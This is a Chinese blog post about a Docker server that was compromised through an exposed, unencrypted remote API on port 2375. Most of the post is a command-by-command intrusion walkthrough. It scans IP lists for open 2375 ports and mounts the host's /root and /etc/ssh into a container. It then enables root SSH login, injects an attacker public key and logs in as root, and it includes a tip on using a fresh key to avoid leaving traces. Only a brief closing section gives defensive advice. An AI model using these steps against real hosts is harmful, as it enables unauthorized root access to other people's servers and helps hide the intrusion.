Docker(十二)2375的血泪

本文讲述了由于开启Docker远程连接且未加密,导致2375端口暴露,使得服务器遭受挖矿攻击。攻击者通过未设置SSL验证的2375端口直接操作Docker守护进程,并利用防火墙开启2375端口,进一步通过注入SSH公钥获取root权限。作者提醒,2375端口不应直接暴露在公网,应当启用TLS加密并限制访问。最后,文章强调了正确配置Docker安全性和防火墙的重要性。
摘要由CSDN通过智能技术生成
记录一年前'百度云的docker服务器'被'挖矿'

一    docker开启远程连接

docker remote API  -->  2375是docker远程操控的'默认端口'

场景: 为了'方便IDEA调试','未经过TLS加密'-->没有'设置CA证书',通过'2375端口'可以'直接对远程的docker daemon进行操作,导致'被黑'

配置 

'注意:服务侧关闭firewalld和selinux'  -->

systemctl stop firewalld

---------  '必须用防火墙'  ---------

防火墙'开启2375端口'

firewall-cmd --zone=public --add-port=2375/tcp --permanent

systemctl  restart firewalld

获取2375端口

'ip.list' -->'ip列表'

cat ip.list | xargs -n 1 -I {} nmap -sT -p2375 {} --open  
  
xargs 将'过滤出来的IP'一个一个的'分次送给nmap',-I {} 是指使用{}来'代替'传送的参数

# Starting Nmap 7.01 ( https://nmap.org ) at 2020-09-05 09:37 CST
# Nmap scan report for ip
# Host is up (0.070s latency).
# PORT     STATE SERVICE
# 2375/tcp open  docker
# ...

如何搞破坏呢?

docker images '直接看到内容',说明这个主机的2375是'没有ssl验证的','基本满足入侵要求'

没有自己需要的容器,那下载一个

'没有会自动下载'

docker -H tcp://172.25.2.157:2375 run --rm -it \

-v /root:/tmp/root -v /etc/ssh:/tmp/ssh_etc -v /var/log:/tmp/log centos /bin/bash

重点来了

'ssh pub key' 注入

细节1: 在刚刚启动的容器中先看看 /tmp/ssh_etc/sshd_config '宿主机的/etc/ssh/sshd_config' 的PermitRootLogin字段,如果是no就改成yes,允许root通过ssh登录-->'root权限获取'

'容器内': vi /tmp/ssh_etc/sshd_config

然后在'自己的机器'上生成一对新的'pub key'(已经有ssh key的也建议'生成一个新的',不要使用自己日常使用的ssh pub key)-->'痕迹你懂的'

生成公钥和私钥

# 使用 ssh-keygen生成

ssh-keygen -t rsa -C "wzj@qq.com"

注意:执行命令后的'提示' Enter file in which to save the key要看好,不要把自己的ssh key覆盖了,可以'选着/tmp/id_rsa'

其它'提示'enter到底即可

---------   继续,'注入ssh pub key',回到刚刚'启动'的容器执行    ---------

cat >> /tmp/root/.ssh/authorized_keys <<EOF

>ssh-rsa AAA....    后面'粘贴'你刚刚在自己机器生成的/tmp/'id_rsa.pub' -->'一定是公钥'
>EOF
 
如果/tmp/root/.ssh目录不存在,就'直接创建'

登陆服务器

ssh -i 指定'秘钥登录'

ssh -i /tmp/id_rsa root@172.25.2.157

最终效果

报错提示

'已知的错误'

1) 公钥不对     --> '容器内配置成私钥'

2) 文件权限不对  --> '容器'chmod 600 /tmp/root/.ssh/authorized_keys

二   2375是漏洞吗

2375'直接裸露地暴露在公网上'纯属是'用户习惯或者偷懒'的问题,2375可以在相对安全的'内部网络中'方便测试使用,并'不适合'使用在投入到'生产环境'中

'docker info' --> '提示信息'

如果将daemon直接暴露在一个TCP端口,将可能会被'以非root用户'去获'取宿主机'的root权限

官方配置ssl

自己写的

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值